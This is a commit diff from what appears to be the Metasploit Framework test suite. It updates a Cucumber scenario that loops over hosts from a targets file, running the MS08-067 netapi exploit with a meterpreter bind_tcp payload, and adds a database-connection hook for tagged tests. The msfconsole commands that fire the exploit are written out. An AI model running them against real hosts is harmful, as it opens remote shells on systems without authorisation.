Support for tests that require the DB. Also update ms08-067 script with a few flags.

bug/bundler_fix
James Barnett 2016-02-25 12:41:40 -06:00
parent 140fafc159
commit e3c5708363
No known key found for this signature in database
GPG Key ID: 647983861A4EC5EA
2 changed files with 9 additions and 3 deletions

View File

@ -1,4 +1,4 @@
@targets
@targets @db
Feature: MS08-067 netapi
Background:
@ -14,11 +14,12 @@ Feature: MS08-067 netapi
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
self.run_single('use exploit/windows/smb/ms08_067_netapi')
self.run_single('set payload windows/meterpreter/bind_tcp')
hosts['windows'].each do |host|
hosts.each do |host|
self.run_single("set RHOST #{host['ipAddress']}")
self.run_single('run')
self.run_single('run -j')
sleep 1
end
self.run_single('sessions -K')
</ruby>
"""
When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`

View File

@ -25,5 +25,10 @@ unless Bundler.settings.without.include?(:coverage)
simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup')
# set environment variable so child processes will merge their coverage data with parent process's coverage data.
set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}")
Before('@db') do |scenario|
dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname))
ActiveRecord::Base.establish_connection(dbconfig["test"])
end
end
end